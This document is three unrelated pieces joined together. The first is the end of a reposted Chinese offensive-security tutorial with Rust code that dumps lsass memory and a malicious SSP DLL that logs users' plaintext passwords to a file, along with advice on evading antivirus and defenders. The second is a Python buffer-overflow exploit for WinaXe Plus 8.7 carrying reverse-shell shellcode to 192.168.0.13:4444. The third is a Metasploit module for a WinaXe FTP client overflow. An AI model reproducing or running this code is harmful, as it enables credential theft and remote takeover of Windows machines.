            println!(" - 获取NTDLL模块句柄失败");

        }
        let function_name = CString::new("RtlReportSilentProcessExit").unwrap();

        let FnRtlreportSilentProcessExit  = GetProcAddress(
            h_nt_mod, 
            function_name.as_ptr() as *const u8).expect("") ;
        let fn_rtl_report_silent_process_exit : FnRtlreportSilentProcessExit = transmute(FnRtlreportSilentProcessExit);
        let desired_access = PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ;
        let h_lsass_proc = OpenProcess(desired_access, 0, lsassPid);
        if h_lsass_proc == 0 {
            println!("[+] 获取lsass进程句柄失败: {:X}", GetLastError());
        }
        println!("[+] Got {:?} PID: {:?}","lsass.exe",lsassPid as u32);

        let ntstatus = fn_rtl_report_silent_process_exit(h_lsass_proc,0);
        if ntstatus == 0{
            println!("[+] DumpLsass Successful and file is c:\\temp\\lsass*.dmp...RET CODE : %#X\n");
        }else {
            println!("FnRtlreportSilentProcessExit error!");
        }
    }

}

添加自定义的SSP

SSP(Security Support Provider)是windows操作系统安全机制的提供者。简单的说,SSP就是DLL文件,主要用于windows操作系统的身份认证功能,例如NTLM、Kerberos、Negotiate、Secure Channel(Schannel)、Digest、Credential(CredSSP)。
SSPI(Security Support Provider Interface,安全支持提供程序接口)是windows操作系统在执行认证操作时使用的API接口。可以说SSPI就是SSP的API接口。

官方解释
455rnxsud3q13129.png
在windowsw中lsass.exe和winlogin.exe进程是用来管理登录的两个进程,都包含在LSA(Local Security Authority)里面,它主要是负责运行windows系统安全策略。SSP在windows启动之后,会被加载到lsass.exe进程中,所以关于SSP的用户密码窃取一般是下面几种方法。

(1) 使用MemSSP对lsass进行patch

优点:

  • 不需要重启服务器
  • Lsass进程中不会出现可疑的DLL
    缺点:
  • 需要调用WriteProcessMemory对lsass进行操作,可能会被标记

(2) 使用AddSecurityPackage加载SSP

优点:

  • 可以绕过部分杀软对lsass的监控
  • 可以加载mimilib来记录密码以应对版本大于等于Windows Server 2012的情况
  • 不需要重启服务器
    缺点:
  • 需要写注册表
  • 需要将SSP的dll拷贝到system32下
  • Blue Team可以通过枚举SSP来发现我们自定义的SSP,并且lsass进程中可以看到加载的DLL

(3) 通过RPC加载SSP

优点:

  • 可以绕过杀软对lsass的监控
  • 可以加载mimilib来记录密码以应对版本大于等于Windows Server 2012的情况
  • 不需要重启服务器
  • 不需要写注册表
    缺点:
  • 因为没有写注册表,所以无法持久化,如果目标机器重启的话将无法记录密码(因此个人认为比较适合在Server上用,不适合在PC上用)

这里用rust对三种方法都进行一个实现,暂且实现了AddSecurityPackage方法,后续github持续更新。一些基础知识可以看msdn->https://learn.microsoft.com/zh-cn/windows/win32/secauthn/lsa-mode-initialization

使用AddSecurityPackage加载SSP

完整代码在 https://github.com/haoami/RustSSPdumpHash
lib如下

use std::{os::{windows::prelude::{FileExt, OsStringExt, OsStrExt}, raw::c_void}, io::Write, slice, ffi::{OsString, CString}, fs::File};
use windows::{
    Win32::{
        Security::{
            Authentication::Identity::{ 
                SECPKG_PARAMETERS, LSA_SECPKG_FUNCTION_TABLE, SECPKG_FLAG_ACCEPT_WIN32_NAME, SECPKG_FLAG_CONNECTION, SECURITY_LOGON_TYPE, LSA_UNICODE_STRING, SECPKG_PRIMARY_CRED, SECPKG_SUPPLEMENTAL_CRED, SECPKG_INTERFACE_VERSION, SecPkgInfoW, PLSA_AP_INITIALIZE_PACKAGE, PLSA_AP_LOGON_USER, PLSA_AP_CALL_PACKAGE, PLSA_AP_LOGON_TERMINATED, PLSA_AP_CALL_PACKAGE_PASSTHROUGH, PLSA_AP_LOGON_USER_EX, PLSA_AP_LOGON_USER_EX2, SpShutdownFn, SpInitializeFn, SpAcceptCredentialsFn, SpAcquireCredentialsHandleFn, SpFreeCredentialsHandleFn, LSA_AP_POST_LOGON_USER, SpExtractTargetInfoFn, PLSA_AP_POST_LOGON_USER_SURROGATE, PLSA_AP_PRE_LOGON_USER_SURROGATE, PLSA_AP_LOGON_USER_EX3, SpGetTbalSupplementalCredsFn, SpGetRemoteCredGuardSupplementalCredsFn, SpGetRemoteCredGuardLogonBufferFn, SpValidateTargetInfoFn, SpUpdateCredentialsFn, SpGetCredUIContextFn, SpExchangeMetaDataFn, SpQueryMetaDataFn, SpChangeAccountPasswordFn, SpSetCredentialsAttributesFn, SpSetContextAttributesFn, SpSetExtendedInformationFn, SpAddCredentialsFn, SpQueryContextAttributesFn, SpGetExtendedInformationFn, SpGetUserInfoFn, SpApplyControlTokenFn, SpDeleteContextFn, SpAcceptLsaModeContextFn, SpInitLsaModeContextFn, SpDeleteCredentialsFn, SpGetCredentialsFn, SpSaveCredentialsFn, SpQueryCredentialsAttributesFn}, Authorization::ConvertSidToStringSidW
            }, 
            Foundation::{NTSTATUS, STATUS_SUCCESS, PSID}
        }, core::PWSTR
    };
use windows::core::Result;
use windows::core::Error;

pub type SpGetInfoFn = ::core::option::Option<unsafe extern "system" fn(packageinfo: *mut SecPkgInfoW) -> NTSTATUS>;

#[repr(C)]
pub struct SECPKG_FUNCTION_TABLE {
    pub InitializePackage: PLSA_AP_INITIALIZE_PACKAGE,
    pub LogonUserA: PLSA_AP_LOGON_USER,
    pub CallPackage: PLSA_AP_CALL_PACKAGE,
    pub LogonTerminated: PLSA_AP_LOGON_TERMINATED,
    pub CallPackageUntrusted: PLSA_AP_CALL_PACKAGE,
    pub CallPackagePassthrough: PLSA_AP_CALL_PACKAGE_PASSTHROUGH,
    pub LogonUserExA: PLSA_AP_LOGON_USER_EX,
    pub LogonUserEx2: PLSA_AP_LOGON_USER_EX2,
    pub Initialize: SpInitializeFn,
    pub Shutdown: SpShutdownFn,
    pub GetInfo: SpGetInfoFn,
    pub AcceptCredentials: SpAcceptCredentialsFn,
    pub AcquireCredentialsHandleA: SpAcquireCredentialsHandleFn,
    pub QueryCredentialsAttributesA: SpQueryCredentialsAttributesFn,
    pub FreeCredentialsHandle: SpFreeCredentialsHandleFn,
    pub SaveCredentials: SpSaveCredentialsFn,
    pub GetCredentials: SpGetCredentialsFn,
    pub DeleteCredentials: SpDeleteCredentialsFn,
    pub InitLsaModeContext: SpInitLsaModeContextFn,
    pub AcceptLsaModeContext: SpAcceptLsaModeContextFn,
    pub DeleteContext: SpDeleteContextFn,
    pub ApplyControlToken: SpApplyControlTokenFn,
    pub GetUserInfo: SpGetUserInfoFn,
    pub GetExtendedInformation: SpGetExtendedInformationFn,
    pub QueryContextAttributesA: SpQueryContextAttributesFn,
    pub AddCredentialsA: SpAddCredentialsFn,
    pub SetExtendedInformation: SpSetExtendedInformationFn,
    pub SetContextAttributesA: SpSetContextAttributesFn,
    pub SetCredentialsAttributesA: SpSetCredentialsAttributesFn,
    pub ChangeAccountPasswordA: SpChangeAccountPasswordFn,
    pub QueryMetaData: SpQueryMetaDataFn,
    pub ExchangeMetaData: SpExchangeMetaDataFn,
    pub GetCredUIContext: SpGetCredUIContextFn,
    pub UpdateCredentials: SpUpdateCredentialsFn,
    pub ValidateTargetInfo: SpValidateTargetInfoFn,
    pub PostLogonUser: LSA_AP_POST_LOGON_USER,
    pub GetRemoteCredGuardLogonBuffer: SpGetRemoteCredGuardLogonBufferFn,
    pub GetRemoteCredGuardSupplementalCreds: SpGetRemoteCredGuardSupplementalCredsFn,
    pub GetTbalSupplementalCreds: SpGetTbalSupplementalCredsFn,
    pub LogonUserEx3: PLSA_AP_LOGON_USER_EX3,
    pub PreLogonUserSurrogate: PLSA_AP_PRE_LOGON_USER_SURROGATE,
    pub PostLogonUserSurrogate: PLSA_AP_POST_LOGON_USER_SURROGATE,
    pub ExtractTargetInfo: SpExtractTargetInfoFn,
}
const SecPkgFunctionTable : SECPKG_FUNCTION_TABLE= SECPKG_FUNCTION_TABLE{
    InitializePackage: None , 
    LogonUserA: None ,
    CallPackage: None,
    LogonTerminated: None,
    CallPackageUntrusted: None,
    CallPackagePassthrough: None,
    LogonUserExA: None,
    LogonUserEx2: None,
    Initialize: Some(_SpInitialize),
    Shutdown: Some(_SpShutDown),
    GetInfo: Some(_SpGetInfo),
    AcceptCredentials: Some(_SpAcceptCredentials),
    AcquireCredentialsHandleA: None,
    QueryCredentialsAttributesA: None,
    FreeCredentialsHandle: None,
    SaveCredentials: None,
    GetCredentials: None,
    DeleteCredentials: None,
    InitLsaModeContext: None,
    AcceptLsaModeContext: None,
    DeleteContext: None,
    ApplyControlToken: None,
    GetUserInfo: None,
    GetExtendedInformation: None,
    QueryContextAttributesA: None,
    AddCredentialsA: None,
    SetExtendedInformation: None,
    SetContextAttributesA: None,
    SetCredentialsAttributesA: None,
    ChangeAccountPasswordA: None,
    QueryMetaData: None,
    ExchangeMetaData: None,
    GetCredUIContext: None,
    UpdateCredentials: None,
    ValidateTargetInfo: None,
    PostLogonUser: None,
    GetRemoteCredGuardLogonBuffer: None,
    GetRemoteCredGuardSupplementalCreds: None,
    GetTbalSupplementalCreds: None,
    LogonUserEx3: None,
    PreLogonUserSurrogate: None,
    PostLogonUserSurrogate: None,
    ExtractTargetInfo: None,
};

#[no_mangle]
pub unsafe extern "system" fn _SpGetInfo(packageinfo: *mut SecPkgInfoW) -> NTSTATUS {
    (*packageinfo).fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_CONNECTION;
    (*packageinfo).wVersion = 1;
    (*packageinfo).wRPCID = 0; 
    (*packageinfo).cbMaxToken = 0;
    let name = OsString::from("Kerberos").encode_wide().chain(Some(0)).collect::<Vec<_>>().as_ptr();
    let Comment= OsString::from("Kerberos v1.0").encode_wide().chain(Some(0)).collect::<Vec<_>>().as_ptr();
    (*packageinfo).Name = name as *mut u16;
    (*packageinfo).Comment = Comment as *mut u16;
    STATUS_SUCCESS
}

#[no_mangle]
pub unsafe extern "system" fn _SpShutDown() -> NTSTATUS {
    STATUS_SUCCESS
}
#[no_mangle]
pub unsafe extern "system" fn _SpInitialize(
        packageid: usize,
        parameters: *const SECPKG_PARAMETERS,
        functiontable: *const LSA_SECPKG_FUNCTION_TABLE,
    ) -> NTSTATUS {
        STATUS_SUCCESS
    }
pub fn lsa_unicode_string_to_string(lsa_us: &LSA_UNICODE_STRING) -> String {
        let slice = unsafe { slice::from_raw_parts(lsa_us.Buffer.0 as *const u16, lsa_us.Length as usize / 2) };
        let os_string = OsString::from_wide(slice);
        os_string.into_string().unwrap()
}
#[no_mangle]
pub unsafe extern "system" fn _SpAcceptCredentials(
        logontype: SECURITY_LOGON_TYPE,
        accountname: *const LSA_UNICODE_STRING,
        primarycredentials: *const SECPKG_PRIMARY_CRED,
        supplementalcredentials: *const SECPKG_SUPPLEMENTAL_CRED,
    ) -> NTSTATUS {
        let mut logfile = File::create("C:\\temp.log").expect("");
        logfile.write_all(">>>>\n".as_bytes()).expect("CustSSP.log write failed");
        writeln!(
            logfile,
            "[+] Authentication Id : {}:{} ({:08x}:{:08x})",
            (*primarycredentials).LogonId.HighPart,
            (*primarycredentials).LogonId.LowPart,
            (*primarycredentials).LogonId.HighPart,
            (*primarycredentials).LogonId.LowPart,
        ).unwrap();
        let logon_type_str = match logontype {
            SECURITY_LOGON_TYPE::UndefinedLogonType => "UndefinedLogonType",
            SECURITY_LOGON_TYPE::Interactive => "Interactive",
            SECURITY_LOGON_TYPE::Network => "Network",
            SECURITY_LOGON_TYPE::Batch => "Batch",
            SECURITY_LOGON_TYPE::Service => "Service",
            SECURITY_LOGON_TYPE::Proxy => "Proxy",
            SECURITY_LOGON_TYPE::Unlock => "Unlock",
            SECURITY_LOGON_TYPE::NetworkCleartext => "NetworkCleartext",
            SECURITY_LOGON_TYPE::NewCredentials => "NewCredentials",
            SECURITY_LOGON_TYPE::RemoteInteractive => "RemoteInteractive",
            SECURITY_LOGON_TYPE::CachedInteractive => "CachedInteractive",
            SECURITY_LOGON_TYPE::CachedRemoteInteractive => "CachedRemoteInteractive",
            SECURITY_LOGON_TYPE::CachedUnlock => "CachedUnlock",
            _ => "Unknown !"
        };
        writeln!(logfile, "[+] Logon Type        : {}", logon_type_str).unwrap();
        writeln!(logfile, "[+] User Name         : {:?}", accountname);
        writeln!(logfile, "[+] * Domain   : {:?}", lsa_unicode_string_to_string(&(*primarycredentials).DomainName));
        writeln!(logfile, "[+] * Logon Server     : {:?}", lsa_unicode_string_to_string(&(*primarycredentials).LogonServer));
        writeln!(logfile, "[+] * SID     : {:?}", convert_sid_to_string((*primarycredentials).UserSid));
        writeln!(logfile, "[+] * UserName   : {:?}", lsa_unicode_string_to_string(&(*primarycredentials).DownlevelName));
        writeln!(logfile, "[+] * Password       : {:?}", lsa_unicode_string_to_string(&(*primarycredentials).Password));
        drop(logfile);
        STATUS_SUCCESS
    }

#[no_mangle]
pub fn convert_sid_to_string(sid: PSID) -> Result<String> {
        let mut sid_string_ptr: PWSTR = windows::core::PWSTR(std::ptr::null_mut());
        let result = unsafe { ConvertSidToStringSidW(sid, &mut sid_string_ptr) };
        if result.is_ok() {
            let sid_string = unsafe { get_string_from_pwstr(sid_string_ptr) };
            Ok(sid_string)
        } else {
            Err(Error::from_win32())
        }
    }

#[no_mangle]
pub unsafe fn get_string_from_pwstr(pwstr: PWSTR) -> String {
        let len = (0..).take_while(|&i| *pwstr.0.offset(i) != 0).count();
        let slice = std::slice::from_raw_parts(pwstr.0 as *const u16, len);
        String::from_utf16_lossy(slice)
    }

#[no_mangle]
pub unsafe extern "system" fn SpLsaModeInitialize(
    LsaVersion: u32,
    PackageVersion: *mut u32,
    ppTables: *mut *const SECPKG_FUNCTION_TABLE,
    pcTables: *mut u32,
) -> NTSTATUS {
    *PackageVersion = SECPKG_INTERFACE_VERSION ;
    *ppTables = &SecPkgFunctionTable;
    *pcTables = 1 as u32;
    STATUS_SUCCESS
}

t4cdvnj4ula13130.png

参考文章
https://lengjibo.github.io/lassdump/
https://xz.aliyun.com/t/12157#toc-10
https://www.crisprx.top/archives/469
https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-%E8%BF%9C%E7%A8%8B%E4%BB%8Elsass.exe%E8%BF%9B%E7%A8%8B%E5%AF%BC%E5%87%BA%E5%87%AD%E6%8D%AE
https://www.freebuf.com/sectool/226170.html
https://xz.aliyun.com/t/12157#toc-4
https://cloud.tencent.com/developer/article/2103172
https://mrwu.red/web/2000.html
https://www.wangan.com/p/11v72bf602eabeb6#SpAcceptCredentials
https://loong716.top/posts/lsass/#4-x86%E7%8E%AF%E5%A2%83%E4%B8%8B%E5%88%A9%E7%94%A8rpc%E5%8A%A0%E8%BD%BDssp
https://xz.aliyun.com/t/8323
https://drunkmars.top/2021/12/05/%E6%B3%A8%E5%85%A5SSP/
https://blog.xpnsec.com/exploring-mimikatz-part-2/
https://www.wangan.com/p/11v72bf602eabeb6
https://github.com/haoami/RustSSPdumpHash


转载于原文链接地址:https://forum.butian.net/share/2434


# Exploit Title: WinaXe Plus 8.7 - lpr remote buffer overflow
# Date: 2017-01-16
# Exploit Author: Peter Baris
# Exploit link: http://www.saptech-erp.com.au/resources/winaxe_lpr.zip
# Software Link: http://www.labf.com/download/winaxep-ok.html
# Version: 8.7
# Tested on: Windows Server 2008 R2 x64, Windows 7 SP1 x64, Windows 10 Pro x64, Windows Server 2012 R2 x64, Windows Server 2016 x64
#Start the fake LPD daemon -> Add the network printer -> Close

import socket

# WinAxe Plus 8.7 - lpr remote buffer overflow
# Author: Peter Baris
# Tested on Windows Server 2008 R2 x64, Windows 7 SP1 x64, Windows 10 Pro x64, Windows Server 2012 R2 x64, Windows Server 2016 x64
 
#reverse shell to 192.168.0.13 port 4444, length: 351 bytes, bad characters \x00\x0a\x0d
shell = ("\xb8\xb1\x79\xd9\xb5\xdb\xdc\xd9\x74\x24\xf4\x5b\x33\xc9\xb1"
"\x52\x83\xeb\xfc\x31\x43\x0e\x03\xf2\x77\x3b\x40\x08\x6f\x39"
"\xab\xf0\x70\x5e\x25\x15\x41\x5e\x51\x5e\xf2\x6e\x11\x32\xff"
"\x05\x77\xa6\x74\x6b\x50\xc9\x3d\xc6\x86\xe4\xbe\x7b\xfa\x67"
"\x3d\x86\x2f\x47\x7c\x49\x22\x86\xb9\xb4\xcf\xda\x12\xb2\x62"
"\xca\x17\x8e\xbe\x61\x6b\x1e\xc7\x96\x3c\x21\xe6\x09\x36\x78"
"\x28\xa8\x9b\xf0\x61\xb2\xf8\x3d\x3b\x49\xca\xca\xba\x9b\x02"
"\x32\x10\xe2\xaa\xc1\x68\x23\x0c\x3a\x1f\x5d\x6e\xc7\x18\x9a"
"\x0c\x13\xac\x38\xb6\xd0\x16\xe4\x46\x34\xc0\x6f\x44\xf1\x86"
"\x37\x49\x04\x4a\x4c\x75\x8d\x6d\x82\xff\xd5\x49\x06\x5b\x8d"
"\xf0\x1f\x01\x60\x0c\x7f\xea\xdd\xa8\xf4\x07\x09\xc1\x57\x40"
"\xfe\xe8\x67\x90\x68\x7a\x14\xa2\x37\xd0\xb2\x8e\xb0\xfe\x45"
"\xf0\xea\x47\xd9\x0f\x15\xb8\xf0\xcb\x41\xe8\x6a\xfd\xe9\x63"
"\x6a\x02\x3c\x23\x3a\xac\xef\x84\xea\x0c\x40\x6d\xe0\x82\xbf"
"\x8d\x0b\x49\xa8\x24\xf6\x1a\x17\x10\xf8\xd7\xff\x63\xf8\xf6"
"\xa3\xea\x1e\x92\x4b\xbb\x89\x0b\xf5\xe6\x41\xad\xfa\x3c\x2c"
"\xed\x71\xb3\xd1\xa0\x71\xbe\xc1\x55\x72\xf5\xbb\xf0\x8d\x23"
"\xd3\x9f\x1c\xa8\x23\xe9\x3c\x67\x74\xbe\xf3\x7e\x10\x52\xad"
"\x28\x06\xaf\x2b\x12\x82\x74\x88\x9d\x0b\xf8\xb4\xb9\x1b\xc4"
"\x35\x86\x4f\x98\x63\x50\x39\x5e\xda\x12\x93\x08\xb1\xfc\x73"
"\xcc\xf9\x3e\x05\xd1\xd7\xc8\xe9\x60\x8e\x8c\x16\x4c\x46\x19"
"\x6f\xb0\xf6\xe6\xba\x70\x06\xad\xe6\xd1\x8f\x68\x73\x60\xd2"
"\x8a\xae\xa7\xeb\x08\x5a\x58\x08\x10\x2f\x5d\x54\x96\xdc\x2f"
"\xc5\x73\xe2\x9c\xe6\x51") 

 

#100299DD - CALL ESP in xwpdllib.dll
buffer="A"*512+"\xdd\x99\x02\x10"+"\x90"*32+shell
port = 515              
s = socket.socket()
ip = '0.0.0.0'             
s.bind((ip, port))            
s.listen(5)                    
 
print 'Listening on LPD port: '+str(port)
 
while True:
    conn, addr = s.accept()     
    conn.send(buffer)
    conn.close()


 


 
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::FtpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WinaXe 7.7 FTP Client Remote Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in the WinaXe 7.7 FTP client.
        This issue is triggered when a client connects to the server and is
        expecting the Server Ready response.
      },
      'Author' =>
        [
          'Chris Higgins',  # msf Module -- @ch1gg1ns
          'hyp3rlinx'        # Original discovery
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'EDB', '40693'],
          [ 'URL', 'http://hyp3rlinx.altervista.org/advisories/WINAXE-FTP-CLIENT-REMOTE-BUFFER-OVERFLOW.txt' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
        },
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' => "\x00\x0a\x0d"
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows Universal',
            {
              'Offset' => 2065,
              'Ret' => 0x68017296 # push esp # ret 0x04 WCMDPA10.dll
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Nov 03 2016',
      'DefaultTarget'  => 0))
  end

  def on_client_unknown_command(c, _cmd, _arg)
    c.put("200 OK\r\n")
  end

  def on_client_connect(c)
      print_status("Client connected...")

      sploit =  rand_text(target['Offset'])
      sploit << [target.ret].pack('V')
      sploit << make_nops(10)
      sploit << payload.encoded
      sploit << make_nops(20)

      c.put("220" + sploit + "\r\n")
      c.close
  end

end